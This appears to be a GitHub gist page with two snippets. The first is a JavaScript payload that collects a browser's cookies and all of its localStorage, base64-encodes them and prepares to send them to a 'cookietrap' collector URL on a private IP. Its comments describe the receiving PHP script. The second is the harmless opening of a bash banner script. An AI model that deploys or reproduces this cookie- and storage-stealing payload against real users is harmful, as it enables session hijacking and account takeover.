This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// The collector must decode the base64-encoded parameter 'payload' | |
// Suggestion: The PHP script could redirect back to the user's referer, such as: | |
// header("Location: " . $_SERVER['HTTP_REFERER']); | |
collector="http://192.168.40.6/cookietrap/trap.php?payload="; | |
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }(); | |
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }(); | |
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls; | |
enc=btoa(payload); | |
alert("Yar cookies are: \n" + c); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# WARNING: Running as "sh changer.sh" breaks some syntax mumbojumbo | |
# Just do a "chmod +x changer.sh" and run the file directly. | |
function show_banner { | |
figlet -f slant "Super monitor activator" | |
echo "Choose your destiny:" | |
} |
NewerOlder